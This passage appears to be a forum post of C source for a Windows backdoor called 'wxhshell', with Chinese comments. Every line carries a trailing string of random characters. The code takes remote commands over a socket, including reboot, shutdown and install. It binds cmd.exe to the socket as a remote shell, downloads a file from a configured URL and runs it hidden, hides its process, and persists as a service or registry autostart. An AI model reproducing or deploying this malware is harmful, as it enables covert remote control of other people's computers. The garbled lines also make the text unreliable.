  } 6{JR0  
  else { e%P+KX  
r;&]?9)W0  
    switch(cmd[0]) { Sqp;/&Ji  
  =]_d pEEQ  
  // 帮助 {:};(oz)f  
  case '?': { %NF<bEV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _&k'j)rg  
    break; \Dvl%:8   
  } OqfhCNAY  
  // 安装 v`[Tl  
  case 'i': { N<#S3B?.  
    if(Install()) jI*}y[o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uv @!i0W  
    else g|&.v2 '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ze$^UR  
    break; "_ PH"W  
    } 9TYw@o5V  
  // 卸载 wQo6!H "K  
  case 'r': { l>3M|js@/  
    if(Uninstall()) ]Ks]B2Osz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJ?qcT?  
    else P.[6s$J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?G~/{m.  
    break; D\45l  
    } >cwJl@wx-  
  // 显示 wxhshell 所在路径 ~6@c]:  
  case 'p': { bm|Jb"T0b  
    char svExeFile[MAX_PATH]; Lu8%qcC  
    strcpy(svExeFile,"\n\r"); .RQXxw  
      strcat(svExeFile,ExeFile); pz*/4  
        send(wsh,svExeFile,strlen(svExeFile),0); ^F0k2pB  
    break; O+(. 29  
    } %:'1_@Ot 2  
  // 重启 XhlI|h-j  
  case 'b': { Pqr Ou  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /I`cS%U  
    if(Boot(REBOOT)) EO o'a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {a+Fx}W  
    else { ~_dBND?  
    closesocket(wsh); haEZp6Z  
    ExitThread(0); SHXa{-  
    } Y5h)l<P>B  
    break; KV^:sxU  
    } uJ|5 Ve  
  // 关机 V',m $   
  case 'd': { N8DiEB3~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k$$S!qi#  
    if(Boot(SHUTDOWN)) zCj*:n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ }zS/LO  
    else { 3%vx' 1h[  
    closesocket(wsh); ,z0~mN  
    ExitThread(0); (?*mh?  
    } w{YtTZp3  
    break; ^huBqEs  
    } :N*q;j>  
  // 获取shell 6S! lD=  
  case 's': { ~u?x{[  
    CmdShell(wsh); }Yo15BN+  
    closesocket(wsh); (zM+7tJH  
    ExitThread(0); nL7S3  
    break; %WJ{IXlz  
  } 3-9J "d !  
  // 退出 jziA;6uL  
  case 'x': { 5Re`D|8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <750-d!  
    CloseIt(wsh); %b>y  
    break; 654jS!  
    } QAOk  
  // 离开 P5 <85t  
  case 'q': { 6&OonYsP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &23ss/  
    closesocket(wsh); H~_^w.P  
    WSACleanup(); 0o"<^] _|  
    exit(1); . f.j >  
    break; ('o; M:  
        } 3$kv%uf{  
  } *NwKD:o  
  } .U(SkZ`6  
{C0OrO2:  
  // 提示信息 v0jz)z<#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j9L+.UVI,  
} *>&N t  
  } "` ?W u  
a,0o{* (u$  
  return; eed\0  
} q2j}64o _S  
h}B# 'e  
// shell模块句柄 82@;.%  
int CmdShell(SOCKET sock) {If2[4!z  
{ 4iPua"8  
STARTUPINFO si; @SQ*/sw (c  
ZeroMemory(&si,sizeof(si)); x_H7=\pX]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >G3 J3P(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; - 5-SlQu  
PROCESS_INFORMATION ProcessInfo; \%4+mgiD  
char cmdline[]="cmd"; `bi_)i6Low  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ##+ 8GLQM  
  return 0; j>Bk; f|  
} kV(DnZ#jq  
fdH'z:Xao  
// 自身启动模式 j n&9<"W  
int StartFromService(void) |Nd. '|g,  
{ !\k#{ 1[!  
typedef struct 1.d9{LO[-  
{ _ L:w;Oy9T  
  DWORD ExitStatus; w-Q 6 -  
  DWORD PebBaseAddress; ^CZ|ci6bX  
  DWORD AffinityMask; nTtt$I@hW  
  DWORD BasePriority;  [;LPeO  
  ULONG UniqueProcessId; ! {o+B^^  
  ULONG InheritedFromUniqueProcessId; R\Ynn^w  
}   PROCESS_BASIC_INFORMATION; !VZCM{  
o  >4>7  
PROCNTQSIP NtQueryInformationProcess; xg5@;p  
+5}T!r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0v)mgrl=,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SFPIr0 u  
]3# @t:>  
  HANDLE             hProcess; P;91C'T-x  
  PROCESS_BASIC_INFORMATION pbi; (Gk]<`d#N  
iU+,Jeu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mS;Q8Crh  
  if(NULL == hInst ) return 0; 1#_j6 Q2  
<.B > LU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p`.fYW:p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F4{. 7BT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $mg h.3z0  
A(sx5Ynp  
  if (!NtQueryInformationProcess) return 0; <^c0bY1  
@:&dOqQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YZtA:>;p  
  if(!hProcess) return 0; Ytnr$*5.  
,^[37/S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B-p5;h>  
(S 3kP5:F  
  CloseHandle(hProcess); jN{xpd  
{j4:. fD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;Wm)e~`,  
if(hProcess==NULL) return 0; U~@B%Msb L  
n8D;6#P^  
HMODULE hMod; zw:b7B]  
char procName[255]; &`y_R'  
unsigned long cbNeeded; UdgI<a~`k6  
zQ^[=siZ}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @?AE75E{  
r<H^%##,w  
  CloseHandle(hProcess); g {wPw  
I,Y^_(JW  
if(strstr(procName,"services")) return 1; // 以服务启动 ,(?4T~  
\>k#]4@rp  
  return 0; // 注册表启动 ?bi^h/ f  
} -+Ji~;b  
Z+Zh;Ms  
// 主模块 Bm>(m{sX>  
int StartWxhshell(LPSTR lpCmdLine) /P}tgcs  
{ 9cPucKuj  
  SOCKET wsl; v333z<<S  
BOOL val=TRUE; wWswuhq<  
  int port=0; Q%d[ U4@  
  struct sockaddr_in door; J=bOw//  
KywT Oq  
  if(wscfg.ws_autoins) Install(); Z4sjH1W  
r/:'}os;  
port=atoi(lpCmdLine); 5WG@ ;K%  
2xm?,p`  
if(port<=0) port=wscfg.ws_port; 82l";;n4p  
%?wE/LU>  
  WSADATA data; @2O\M ,g5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \dbtd hT;Z  
nXW1:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Ec"&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j* ja)  
  door.sin_family = AF_INET; 2l%iXK[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZS;kCdL   
  door.sin_port = htons(port); |,f6c Om f  
nJw1Sl5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =~*u(0sJa  
closesocket(wsl); y5 +&P  
return 1;  =7@  
} zj4JWUM2  
| mX8fRh  
  if(listen(wsl,2) == INVALID_SOCKET) { F.hC%Ncu  
closesocket(wsl); "fwuvT 1  
return 1; =]Bm>67"  
} ;W:Q}[  
  Wxhshell(wsl); c" HCc]  
  WSACleanup(); Ric$Xmu  
> [7vX m4  
return 0; ,+{ 43;a  
JJO"\^,;~  
} 2|EoP-K7  
N9Vcp~;  
// 以NT服务方式启动 i[ lH@fJm_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Su~`jRN $  
{ )nVx 2m4  
DWORD   status = 0;  7dIDKx  
  DWORD   specificError = 0xfffffff; umYdr'p!v  
Yzz8:n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2Ev,dWV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M,P_xkLp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *QJ/DC$  
  serviceStatus.dwWin32ExitCode     = 0; ,.B8hr@H6-  
  serviceStatus.dwServiceSpecificExitCode = 0; vF 1$$7k  
  serviceStatus.dwCheckPoint       = 0; fk_i~K  
  serviceStatus.dwWaitHint       = 0; 1OKJE(T  
fC[gu$f][  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *G38N]|u6  
  if (hServiceStatusHandle==0) return; x(Z@ R\C-a  
zjS<e XLs[  
status = GetLastError(); |ipppE=  
  if (status!=NO_ERROR) `Hqu 2 '`  
{ BH1To&ol  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *BV .zbGm  
    serviceStatus.dwCheckPoint       = 0; ?T"crX  
    serviceStatus.dwWaitHint       = 0; =v}.sJ V?  
    serviceStatus.dwWin32ExitCode     = status; g}7B0 yo  
    serviceStatus.dwServiceSpecificExitCode = specificError; :1I,:L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3h>Ji1vV  
    return;  u[u=:Y+  
  } !~#31kL&  
-$r fu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (`N/1}vk  
  serviceStatus.dwCheckPoint       = 0; <f%9w]  
  serviceStatus.dwWaitHint       = 0; hG U &C]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d>}%A ]  
} aap:~F{]X  
<5 +?&i  
// 处理NT服务事件,比如:启动、停止 >_".  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l d@^ $  
{ Lv"83$^S9  
switch(fdwControl) |cacMgly  
{ K|&y?w  
case SERVICE_CONTROL_STOP: VmW_,  
  serviceStatus.dwWin32ExitCode = 0; VQCPgs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `@90b 4u  
  serviceStatus.dwCheckPoint   = 0; =[$*PTe  
  serviceStatus.dwWaitHint     = 0; We`axkC  
  { lZ|Ao0(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ce:kMkJ  
  } ` mi!"pmw  
  return; 6\bbP>ql  
case SERVICE_CONTROL_PAUSE: Mo/xEB/O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %+.]>''a  
  break; cb+!H>+  
case SERVICE_CONTROL_CONTINUE: sTb/l!=o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gm8H)y,  
  break; 4-\a]"c  
case SERVICE_CONTROL_INTERROGATE: 3+Q6<MS q  
  break; [x&&N*>N  
}; }K/[3X=B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OygYP  
} E,;nx^`!l  
1+^c3Dd`  
// 标准应用程序主函数 I%ez_VG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,UP6.C14  
{ Vq*p?cF .  
=($qiL'h  
// 获取操作系统版本 e'jR<ln|  
OsIsNt=GetOsVer(); au8) G_A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6 @d( <Z  
\3KCZ  
  // 从命令行安装 Bg3^BOT  
  if(strpbrk(lpCmdLine,"iI")) Install(); }b-?Dm_H  
rnW i<Se  
  // 下载执行文件 m?csake.Me  
if(wscfg.ws_downexe) { r4-r z+x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fF9vV. }  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4fN<pG,  
} 2@ad! h  
0]Li "Wb  
if(!OsIsNt) { =IUTU4!]  
// 如果时win9x,隐藏进程并且设置为注册表启动 /5o~$S  
HideProc(); qvT9d7x  
StartWxhshell(lpCmdLine); Z6Mh`:7  
} =.uE(L`]NA  
else ^v,^.>P  
  if(StartFromService()) uv@4/M`  
  // 以服务方式启动 xD~:= ]G  
  StartServiceCtrlDispatcher(DispatchTable); s)-=l _4T  
else lAoH@+dyA+  
  // 普通方式启动 ^@N@ gB  
  StartWxhshell(lpCmdLine); .rS0zU  
;}r#08I  
return 0; Ly^r8I  
}
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只看该作者 1 发表于: 2006-10-10
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